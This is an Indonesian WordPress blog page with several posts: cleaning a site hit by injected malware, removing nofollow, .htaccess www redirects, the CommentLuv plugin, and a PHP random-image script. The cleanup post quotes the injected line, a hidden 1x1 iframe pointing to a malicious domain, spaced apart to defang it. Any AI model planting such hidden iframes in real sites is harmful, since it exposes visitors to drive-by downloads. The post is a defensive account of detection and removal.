Reported Attack Site!

Dua hari yang lalu (1 Juni 2009) ketika saya ingin membuka blog ini, secara mengejutkan…keluar halaman warning pada jendela firefox saya, sebuah warning yang memberi peringatan bagi saya bahwa blog saya telah di blok bagi pengguna google, karena (menurut google) blog saya telah menjadi “suspect” penyusupan oleh oknum yang tidak bertanggung jawab yang menyusupkan script-script yang membuat pengunjung blog saya secara otomatis akan terdownload sebuah program, atau disusupi pranala yang mengarah ke alamat situs yang telah lebih dulu menjadi “suspect” google.
Nah disini saya sempat bingung, karena banyak sekali plugins wordpress yang sudah saya install sebelumnya, dan memang kebanyakan plugins pastilah menyisipkan pranala ke halaman sang pembuatnya, sehingga pusing juga kalo mesti ngecek satu-satu.
Belum lagi, ternyata hal ini juga menimpa blog-blog wordpress saya yang lain yang juga saya host pada web hosting yang sama…!!!
Akhirnya saya menemukan satu tools diinternet yang mampu mendeteksi parasit apa yang kira-kira menempel di blog kita. coba klik Unmask Parasites, dengan menggunakan tools ini akhirnya saya mengetahui kalo ada pengacau yang merasuki blog saya, berikut kita-kira segelintir tag html yang disisipkan :
e cho “< i f rame src=\”http://s a a r c o p.com/?click=4AD4F99\” width=1 height=1 style=\”visibility:hidden;position:absolute\”>< / i frame>”;
*) antara e cho, < i f rame, s a a r c o p, dan < / i frame sengaja saya beri spasi untuk menghindari kemungkinan teraksekusi kembali script diatas.
Setelah saya coba bedah isi file didalam directory root hosting saya, saya menemui kalo parasit ini ada di file index.php di root blog dan index.php di dalam directory theme yang saya gunakan.
Dari hasil hunting info sana-sini, akhirnya saya memutuskan untuk memulai melakukan langkah pembersihan, berikut langkah-langkah yang saya ambil :
- Saya backup database wordpress saya sebagai prioritas utama
- Saya pindahkan file-file wordpress melalui ftp ke dalam folder baru bernama backup
- Di directory root saya kini bersih, saya upload file-file wordpress yang masih fresh yang saya download melalui wordpress.org
- Nah, di wordpress yang kini masih fresh…tentunya kalo kita jalankan, kita pasti akan diminta untuk melakukan proses instalasi. Jadi lebih baik jangan lakukan ini. Ok, lantas bagaimana cara untuk mengembalikannya seperti semula. Kita lanjutkan dibawah
- Pindahkan file .htaccess, wp-config dari folder backup tadi ke folder root wordpress. Bila anda memiliki file-file verifikasi google, yahoo seperti google7c1b9f30543de3f1.html atau yang lainnya, silahkan pindahkan file-file ini juga. Begitu juga bila anda memiliki file sitemap.xml ataupun file kompresinya (sitemap.xml.gz) ini juga sebaiknya anda kembalikan ke root. TAPI sebaiknya anda pastikan dulu kalau semua file-file tersebut telah bebas dari parasit!
- Ok. kemudian bila anda menggunakan theme yang tidak standard (seperti saya), anda bisa pindahkan theme yang anda gunakan dari folder backup/wp-content/themes/folder theme anda ke folder wp-content/theme/folder theme anda di directory root. TAPI lagi-lagi, pastikan semua file yang ada didalam folder tersebut telah bebas parasit (terutama untuk file index.php).
- Bila anda pengguna wordpress extend plugins seperti saya, sebaiknya anda juga memindahkan semua isi didalam folder backup/wp-content/plugins ke folder wp-content/plugins di root wordpress. Yep, sama juga, pastikan semuanya telah bersih
- Satu lagi, bila sudah banyak sekali file, gambar, dll yang sudah anda upload ke server anda melalui wordpress anda, itu artinya anda juga harus mengembalikan file-file tersebut ke tempat asalnya. Pindahkan folder backup/wp-content/uploads ke folder wp-content/uploads di root wordpress anda (bila folder uploads belum ada, silahkan dibuat saja, karena skema directory fresh wordpress awalnya memang tidak menyediakan directory uploads). Seperti biasa…semua ini juga perlu dicek kebersihannya yah
- Bila ternyata masih ada file-file non standard wordpress namun berhubungan dengan wordpress anda, dan tadi ikut terbackup ke dalam folder backup, silahkan kembalikan file-file tersebut ketempat asalnya DALAM KEADAAN BERSIH
- That’s it…selesai deh…selanjutnya anda hapus saja semua yang tersisa di folder backup.
Kemudian (ini juga hasil observasi dari internet), saya juga menganjurkan agar anda melakukan langkah-langkah tambahan untuk menghindari hal-hal seperti ini terjadi lagi dikemudian hari.
- Ganti password FTP anda sekarang juga, password harus unik dan sebaiknya penggantian password dilakukan secara berkala.
- Selalu lakukan backup file dan database wordpress anda secara berkala.
- Gunakan seminimal mungkin plugins wordpress…bukan hal yang mustahil bisa tiap-tiap plugins berpotensi memiliki celah-celah keamanan yang akan membahayakan wordpress anda.
- Hapus file-file plugins yang tidak aktif dari folder plugins wordpress anda melalui ftp.
- Hapus folder-folder theme yang tidak digunakan.
- Sebaiknya buat user administator baru, jangan gunakan standard administrator user “admin”, hapus user “admin” dari list user anda, gunakan password yang unik dan ganti passsord secara berkala.
- Review ulang lagi folder permission wordpress anda, gunakan chmod di ftp untuk mengubah permission folder anda. Berikut permission yang direkomendasikan :
Nama File/Dir Chmod yang direkomendasikan root directory ../ 0755 wp-includes/ ../wp-includes 0755 .htaccess ../.htaccess 0644 wp-admin/index.php index.php 0644 wp-admin/js/ js/ 0755 wp-content/themes/ ../wp-content/themes 0755 wp-content/plugins/ ../wp-content/plugins 0755 wp-admin/ ../wp-admin 0755 wp-content/ ../wp-content 0755
Adapun langkah selanjutnya yang sangat penting, bila anda sudah merasa sudah tidak ada lagi parasit yang menempel di blog anda (lakukan scanning ulang menggunakan Unmask Parasites), maka anda harus mengajukan review oleh google bahwa web/blog anda kini telah bebas dari parasit. Hal ini agar cap buruk yang yang google berikan yang membuat akses ke blog anda di tutup dan mendapat warning oleh browser firefox bisa segera dihilangkan. Caranya adalah melalui layanan Google Webmaster Tools, silahkan daftar bila memang anda belum memiliki accountnya. Saya akan membahas mengenai hal ini mendatang. Hmmm…lama proses review google mungkin akan menghabiskan waktu setidaknya 1×24 jam. So, be patient
Ok, hal-hal diatas (kejadian dan penanganannya) merupakan pengalaman saya pribadi, mungkin terlihat agak rumit, cuma saya memang tidak mau mengambil resiko masih tersisanya parasit-parasit tersebut di blog saya. Hal-hal diatas juga saya jalani untuk pemulihan blog-blog saya yang lain. Saat ini blog saya telah kembali seperti semua dan bebas parasit, tapi bagaimanapun juga bukan hal yang mustahil bila dikemudian hari hal seperti ini bahkan mungkin lebih parah lagi bisa saja terjadi.
Bila anda pernah mengalami hal yang serupa, dan telah berhasil mengatasinya, mungkin anda bisa share juga disini. Semoga hal ini bisa membantu anda-anda semua
Dipostingan terdahulu saya sudah membahas soal bagaimana seharusnya sikap yang kita miliki pada para pemberi komentar diblog kita, kini sesuai janji saya, saatnya kita memberikan cinta ++ (baca:plus-plus) dengan memberikannya penghargaan berupa kesempatan agar berbagai komentar apapun yang masuk, ketika postingan terakhir diblognya telah terekam dilembar komentar kita melalui commentluv, dapat diperhitungkan tiap detailnya oleh mesin pencari.
Caranya sangat sederhana, yaitu dengan menghapus attribut ‘rel=”nofollow”‘ dari tag <a href=”… di source HTML anda.
Tapi, jangan senang dulu, cara yang sangat sederhana diatas ternyata sangat sulit bagi sebagian orang, khususnya mereka yang menggunakan blog engine yang telah banyak beredar seperti wordpress ataupun blogger. Blog engine ini telah memasukkan attribut rel=”nofollow” sebagai sebuah attribut standard dimesinnya, sehingga, pun bila kita memang tidak pernah merasa memasukkan attribut tersebut, script tersebut akan secara otomatis telah berada ditempatnya meski tanpa kita minta sebelumnya.
Tapi, sebenarnya kenapa kita harus menghapus attribut nofollow dari lembar komentar di blog kita? Sebenarnya, attribut “nofollow” adalah fungsi yang mencegah link pemberi komentar dihitung sebagai backlink oleh crawler search engine. Fungsi ini bertujuan untuk mencegah efek dari komentar-komentar spam yang biasanya menyerang blog ataupun web forum yang dibuat hanya untuk mencari baclink pada mesin pencari. Namun, metode ini diterapkan pad banyak mesin blog dan forum sebagai attribut default yang diterapkan pada sistem komentar/thread, metode ini akhirnya dianggap oleh banyak blogger sebagai tindakan membabi buta, karena, bukan hanya komentar spam yang akan dicegah, tetapi semua link dalam komentar tidak akan pernah dihitung keberadaannya.
Seiring dengan kemajuan, kini telah banyak metode-metode yang jauh lebih ampun untuk mencegah spam masuk ke dalam komentar suatu blog. Yang tentu saja, membuat attribut “nofollow” jadi kurang begitu berguna. Di situs nonofollow.net dituliskan 11 alasan mengapa blogger harus menghapus attribut nofollow dari situsnya, salah satu alasan utama yang ada disitu antara lain; meski awalnya diciptakan untuk mematikan spam, nofollow tetap tidak dapat mencegah spam masuk kedalam lembar komentar suatu blog.
Oke, kalau kita emang gak suka, lantas gimana cara menghapus attribut tersebut dari blog kita. Oke, saya akan coba sedikit berbagi disini. Bagi pengguna wordpress ada 2 cara yang memungkinkan kita membuang attribut rel=”nofollow” dari blog kita, cara pertama adalah dengan cara manual (edit script), atau bisa dengan cara yang aman yaitu dengan menggunakan plugins-plugins yang memang sengaja dibuat untuk menghapus attribut tersebut.
Untuk cara manual, bagi pengguna wordpress versi 2.x keatas, anda bisa menggunakan langkah-langkah berikut* :
- Buka direktori /wp-includes pada root blog wordpress anda
- Cari dan edit file bernama comment-template.php
- Di file tersebut, cari code $return = “<a href=’$url’ rel=’external nofollow’>$author</a>”;
- Ganti kode tersebut dengan $return = “<a href=’$url’ rel=’external’>$author</a>”;
- Simpan dan selesai.
(* Melakukan edit secara manual bisa jadi sangat berbahaya dan sangat tidak disarankan bagi anda yang belum terbiasa melakukannya, jangan lupa untuk membackup file anda terlebih dahulu sebelum melakukan perubahan.)
Nah, cara diatas dapat kita abaikan dengan menggunakan cara yang jauh lebih aman, yaitu dengan menginstall plugins-plugins khusus untuk mematikan attribut nofollow di blog kita. Beberapa plugins DoFollow yang bisa anda gunakan antara lain :
Bagi pengguna blogspot, satu-satunya cara untuk menghapus attribut nofollow dari blog anda adalah dengan cara manual.Untuk lebih jelasnya, mungkin anda bisa merujuk ke situs-situs berikut :
Oh iya, ada satu hal juga yang ingin saya sampaikan disini, menghapus nofollow bukan berarti tidak mengandung resiko. Belakangan santer terdengar kalau google enggan mengindeks halaman web yang tidak menggunakan nofollow di situsnya. Tapi yah…memang berbuat baik juga gak pernah terlepas dari resiko kan?? sekarang pilihan berada ditangan anda.
Kebanyakan server memperbolehkan penggunaan www.domainanda.com ataupun domainanda.com (tanpa www) terakses kesource yang sama. Namun ada juga server yang tidak memperbolehkan hal ini terjadi (sebagai contoh, coba akses www.bri.co.id dengan bri.co.id, disana jelas bahwa www.bri.co.id dengan bri.co.id berada pada path yang berbeda).
Begitu juga dengan para blogger (yang menggunakan domain sendiri), ada yang merasa lebih nyaman menggunakan www untuk mengakses domainnya (contohnya saya
), dan ada pula yang lebih nyaman tanpa menggunakan www.
Oke, sekarang…bagi anda yang kebetulan memiliki hosting dengan fitur yang terbatas (seperti contoh pertama) atau anda yang nyaman menggunakan salah satu dari 2 opsi www atau tanpa www, bagaimana caranya agar domain kita dapat tetap diakses dengan baik, dan nyaman sesuai yang kita inginkan?
WWW
Bagi pengguna wordpress…hal ini bakal sangat menjadi gampang untuk dilakukan, terlebih bila anda menggunakan update wordpress versi terbaru. Cukup dengan mencantumkan http://www.domainanda.com (lengkap dengan www) di blog address anda (home). Caranya di dashboard wordpress, akses ke settings -> general. Kemudian di WordPress address (URL) dan Blog address (URL) masukkan namadomain anda lengkap dengan wwwnya seperti yang telah saya jelaskan tadi.
Bagi pengguna wordpress yang belum support untuk melakukan hal diatas, silahkan gunakan beberapa plugins yang tersedia, salah satunya http://www.justinshattuck.com/wordpress-www-redirect-plugin/
Bagi pengguna engine blog lain, dan anda memiliki akses untuk masuk ke dalam root web server anda melalui ftp, serta server anda menggunakan apache yang support mod_rewrite, silahkan masukkan/upload file .htaccess dengan isi sebagai berikut :
RewriteEngine On
RewriteCond %{HTTP_HOST} ^domainanda.com
RewriteRule (.*) http://www.domainanda.com/$1 [R=301,L]
Metode diatas akan membuat siapapun yang mengakses web anda melalui domainanda.com, akan secara otomatis di arahkan oleh Apache ke alamat www.domainanda.com. Bahkan bukan hanya itu, dengan R=301 artinya semua pranala yang mengarah ke domainanda.com, secara otomatis juga akan diredirect indeksnya ke www.domainanda.com, sehingga indeks mesin pencari akan terkonsentrasi sepenuhnya ke www.domainanda.com, tak perduli apakah web diluar yang memberikan tautan balik tersebut menuliskan dengan atau tanpa www. (bingung yah???
)
Tanpa WWW
Sama seperti point2 diatas, di setting->general masukkan address (URL) dan Blog address (URL) namadomain anda tanpa diawali dengan www.
Sedangkan untuk metode plugins wordpress, plugins yang saya rujuk diatas juga support untuk redirection ke alamat tanpa www.
Nah, kalo untuk pakai metode .htaccess, silahkan masukkan kode berikut ke file .htaccess anda, kemudian upload ke root web hosting anda via ftp.
RewriteEngine On
RewriteCond %{HTTP_HOST} ^www\.domain\.com$ [NC]
RewriteRule ^.*$ http://domain.com%{REQUEST_URI} [R=301,L]
Oh iya, tau gak kalo ternyata ada gerakan pengguna internet yang mengkampanyekan penggunaan akses url tanpa www. Silahkan kunjungi http://no-www.org/ untuk lebih informasi lebih lanjut.
Sebagai seorang blogger, pastilah kita tahu pada budaya tukar link bukan? Budaya yang lahir bukan tanpa tujuan, selain sebagai sebuah upaya memupuk rasa kebersamaan antar blogger, budaya tukar link ini juga biasanya bisa menjadi satu identitas sebuah jaringan. Bila kita amati, terdapat lebih dari satu jaringan blogger ditanah air baik formal maupun informal, dan umumnya dimasing-masing blog anggota jaringan akan terpampang pranala-pranala/blogroll ke rekan-rekan mereka sesama anggota dalam jaringan, tapi yang pasti tanpa disadari, budaya ini jadi semacam pendongkrak yang cukup ampuh untuk memberikan kontribusi kepada sebuah weblog dalam bentuk traffik bahkan subsidi yang dapat mendongkrak pagerank suatu halaman weblog, bahkan tidak jarang dalam jumlah yang sangat besar.
Orang-orang/para blogger yang menyadari akan hal tersebut, kerap kali berburu rekan yang dapat memberikan sumbangan traffik melalui blognya. Hanya saja, kapasitas blogroll sebuah blog dalam menampung banyak pranala amatlah terbatas sebab blog bukanlah web directory yang dapat diisi pranala yang tidak terbatas.
Trend lainnya untuk menyiasati pemberian tautan balik ke dalam sebuah blog dengan cara memberikan komentar disebuah tulisan dalam suatu blog. Cara inipun lagi-lagi menjadi sangat ampuh untuk mendongkrak traffik balik.
Bila anda merupakan tipikal orang yang sangat senang menyebar komentar dimana-mana, sudah seharusnya anda juga rela meluangkan waktu anda untuk menyambut komentar-komentar yang masuk kehalaman anda, bukankah “ada komentar masuk berarti tulisan anda ada yang baca?” dan hal tersebut juga berarti “ada traffik keblog anda” bukan begitu?
Nah, melihat kenyataan tersebut, sudah seharusnya anda berterima kasih pada para pemberi komentar di halaman blog anda, sebab tanpa mereka, blog anda akan sepi kayakkuburan! (hiiiii…)
Bagaimana cara mengucapkan terima-kasih kepada para pemberi komentar? ada banyak cara untuk melakukannya.
Pertama, bila sang komentator memiliki halaman website, anda wajib mengunjunginya, membaca salah satu tulisannya, atau bahkan memberikan komentar diblognya, tunjukkan pada mereka bahwa anda ingin menjadi rekan yang baik.
Kedua, bila ia tidak memiliki sebuah halaman web, tapi memiliki email, maka sudah seharusnya anda mengirimkan email bahkan untuk sekedar mengucapkan terima kasih karena telah berkunjung ke blog anda.
Ketiga, bila email pun ia tidak punya, cukup tuliskan balasan ucapan terima kasih dihalaman komentar anda, tempat ia juga membubuhkan komentarnya.
Disamping ketiga hal diatas, anda dapat memberikan ucapan terima kasih ++ (plus…plus…) kepada sang komentator, dengan cara memberikan tautan balik kehalaman URL sang komentator. Untuk hal ini, anda bisa cukup dengan memasukkan beberapa script secara manual, atau (bagi pengguna wordpress) anda bisa menginstall plugins wordpress commentluv yang berguna untuk mengecek RSS feed suatu halaman (bila ada), dan memasukkan postingan terakhir disitus komentator kedalam halaman komentar anda. Dengan demikian, anda telah memberikan tautan balik permanen kehalaman blog sang komentator.
Untuk lebih mudah dalam menjelaskan, silahkan anda scroll browser anda kebawah (kolom komentar), dan lihat ceklist commentluv disana.

Nah, kalo anda lihat gambar diatas, ada sebuah ceklist yang apabila di ceklist, maka blog akan secara otomatis membaca feed dari halaman blog komentator dan memasukkan postingan terakhir kedalam halaman komentar ini, silahkan coba untuk menjajal

Dimana anda bisa mendapatkan plugins ini?
Anda bisa mengunjungi blog pembuat plugins tersebut dan mengunduh plugins keren ini disana, atau anda bisa langsung klik tulisan dibawah
Bagaimana cara menginstall plugins ini?
Caranya sangat mudah, ikuti langkah-langkah dibawah :
1. Unduh commentluv dari pranala diatas, kemudian extract dan upload file `commentluv.php` ke direktori `/wp-content/plugins/` diserver anda
2. Aktifkan plugins melalui menu Plugins di panel admin wordpress anda
3. Selesai! anda akan dapatkan commentluv telah tersedia dihalaman komentar anda secara otomatis, sehingga tidak dibutuhkan skill untuk mengedit templat wordpress anda.
Silahkan, tanyakan beberapa pertanyaan seputar commentluv apabila anda masih bingung.
++ lainnya yang bisa anda berikan sebagai ungkapan rasa terima kasih adalah dengan memberikan menonaktifkan fungsi rel=”nofollow” pada lembar komentar pengunjung, nofollow ini sendiri pada awalnya diciptakan dengan tujuan yang mulia, yaitu menghalangi keinginan para spammer untuk berkomentar diblog anda, karena dengan adanya nofollow ini, mesin pencari tidak akan mengindeks link keluar pada komentar-komentar tersebut yang biasanya menjadi tujuan para spammer untuk nyepam diblog anda. Tapi saat ini, dengan semakin banyaknya tool anti-spam seperti akismet dan lain sebagainya, nofollow ini malah jadi terkesan menghalangi orang yang memberi komentar dalam meraih peringkat di mesin pencari, meski bukan itu sebenarnya tujuan utama seorang komentator memberikan komentarnya diblog anda. Nah, dengan menghapus/menonaktifkan nofollow dari lembar komentar anda, berarti anda telah membantu/memberikan kontribusi yang sangat positif bagi sang komentator, sehingga tautan balik ke halaman blog mereka jadi tetap diperhitungkan oleh mesin pencari.
Lebih jauh tentang bagaimana mengimplementasikannya, tunggu kabar baiknya diblog ini mendatang

Hffff…Akhirnya masa penantian telah tiba…setelah menunggu dan memantau selama lebih dari 4 bulan lamanya. Study case saya soal pengaktifan nofollow kembali diblog ini sejak tanggal 14 Oktober 2008, setelah sebelumnya saya menggunakan dofollow sebagai langkah untuk berbagi cinta dengan sesama blogger melalui halaman komentar di blog saya, akhirnya sampai pada masa kesimpulan.
Berikut, statistik yang saya generate dari plugins wp-stat yang sudah saya install sejak dari awal blog ini online.

Berikut sedikit keterangan dari saya :
Bulan Agustus 2008 dan sebelumnya blog saya mengalami naik turun statistik dengan kondisi yang nyaris menyedihkan…sering kali naik sedikit namun bulan berikutnya turun dengan drastis. Pernah sesekali saya kebanjiran pengunjung, itupun begitu isu seputar UU ITE bergulir yang saya menanggapi isu tersebut dalam tulisan saya diblog ini, dan itupun karena tulisan saya mendapat tautan dari blognya Cosa Aranda
.
Bulan September, blog ini sedikit kebanjiran pengunjung, lagi-lagi karena tulisan yang memang pas dengan momen.
Bulan Oktober, kembali ke masa-masa normal
, nyaris tiap harinya rata-rata pengunjung bisa dihitung dengan jari =(. Dibulan ini juga, tepatnya tanggal 14 saya memutuskan untuk mencoba mengaktifkan kembali rel=”nofollow” dihalaman komentar di blog ini.
November, Desember, Januari 2009, statistik blog ini kian meningkat, sejauh ini belum ada tulisan terbaru saya yang cenderung “up to date” alias “ngikut trend”….jadi seharusnya masa-masa ini seharusnya merupakan masa-masa “normal” bagi blog saya, seperti yang sudah saya jelaskan diatas. Tapi…saya melihat perubahan yang cukup signifikan dari masa-masa sebelumnya.
Sampai saat ini, pengunjung terbanyak blog ini (80%) adalah pengunjung yang “nyasar” dari mesin pencari yang kebanyakan adalah pengguna Google. Selebihnya adalah pengunjung dari pranala balik dari berbagai situs dan yang datang langsung kesini. Jadi, mungkinkah ini merupakan bentuk “pengampunan” dari Google??
Dari hasil diatas, saya tetap tidak mau sembrono untuk mengatakan bahwa Dofollow-lah yang menyebabkan blog saya sepi pengunjung, karena bagaimanapun, saya sangat menyukai konsep dofollow itu sendiri. Dan ya, seperti yang telah saya katakan sebelumnya, saya nge-blog atas dasar senang, bukan karena saya tergila-gila dengan traffik yang tinggi.
Namun demikian, tidak bisa dipungkiri, hari ini saya telah mendapatkan lebih banyak teman daripada sebelumnya saat dofollow masih bercokol dikolom komentar blog ini. Jadi saya menyatakan saya akan tetap menggunakan rel=”nofollow” di kolom komentar blog ini.
Tapi, karena kecintaan saya pada dofollow, saya tetap akan mematikan nofollow di beberapa tempat diblog saya, di recent comment di sidebar blog ini, tiap komentar yang masuk dan memberikan alamat url, akan tercantum pranala balik ke alamat url tersebut, tanpa nofollow. Next, saya akan coba beberapa plugins lainnya yang memungkinkan saya memberikan “nilai” dalam pranala balik.
anda punya koleksi poto yang ingin anda tampili di website/blog/jurnal online tercinta anda secara acak/random sehingga akan tampil berbeda dan terkesan update tiap kali halaman web yang memuat foto anda dibuka….caranya gambang…eh gampang bro!!!
Oke, kalo hosting anda support PHP, maka anda bisa memulainya sekarang
1. Tempatkan foto anda dalam satu folder/direktori yang sama (contoh : ./poto) – tips : akan terlihat lebih indah nantinya bila foto yang anda masukkan memiliki ukuran resolusi yang sama.
2. buka notepad…masukkan/salin script dibawah ini :
<?php
// masukkan path direktori dimana anda meletakkan folder poto diserver mis: $folder = ‘/poto’, tapi untuk mempermudah…lebih baik dikosongkan saja, untuk kemudian file ini nantinya kita simpan difolder yang sama didalam folder /poto
$folder = ”;
// Jenis ekstensi file yang bisa dibaca, silahkan tambahkan kalo ingin tambahan ekstensi yang lain (misal bmp), dipisahkan dengan spasi.
$exts = ‘jpg jpeg png gif’;
$files = array(); $i = -1; // Inisialisasi beberapa variabel
if (” == $folder) $folder = ‘./’;
$handle = opendir($folder);
$exts = explode(‘ ‘, $exts);
while (false !== ($file = readdir($handle))) {
foreach($exts as $ext) { // cek tiap ektensi
if (preg_match(‘/\.’.$ext.’$/i’, $file, $test)) {
$files[] = $file;
++$i;
}
}
}
closedir($handle);
mt_srand((double)microtime()*1000000);
$rand = mt_rand(0, $i);
header(‘Location: ‘.$folder.$files[$rand]); // Selesai!
?>
Kemudian simpan file dengan nama random.php / atau apapun sesuka hati anda
3. Dihalaman HTML tempat anda ingin menampilkan gambar, masukkan tag html (img) yang kemudian diarahkan ke random.php
contoh :
<html>
<head>
<title>test random poto</title>
</head>
<body>
<img src=”poto/random.php” alt=”random potoku tersayang” />
</body>
</html>
4. Selesai….emangnya mau ngapain lagi….sisanya (desain,tag html,css,dll) cari sendiri….atau nanti dilain tutor…
Related posts:
-
Articles
- November 2011
- October 2011
- July 2011
- June 2011
- May 2011
- April 2011
- February 2011
- January 2011
- November 2010
- October 2010
- September 2010
- March 2010
- December 2009
- November 2009
- October 2009
- September 2009
- July 2009
- June 2009
- May 2009
- April 2009
- March 2009
- February 2009
- January 2009
- December 2008
- November 2008
- October 2008
- September 2008
- June 2008
- May 2008
- April 2008
- March 2008
- February 2008
- November 2007
- October 2007
- September 2006
- August 2006
- June 2006
- March 2005
-
Calendar
May 2012 M T W T F S S « Nov 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 -
Meta







Tks informasinya , web saya yang http://www.masteroutbound.com juga kena dan masih bingung mengatasinya , daripada pusing2 bagaimana kalauinstall ulang wp yang baru , buat web dari awal dengan domain sama , apa ini bisa mengatasi maslah ? tks.
My recent post Paket-Program Rafting & Outbound Di Bumi Batara Garut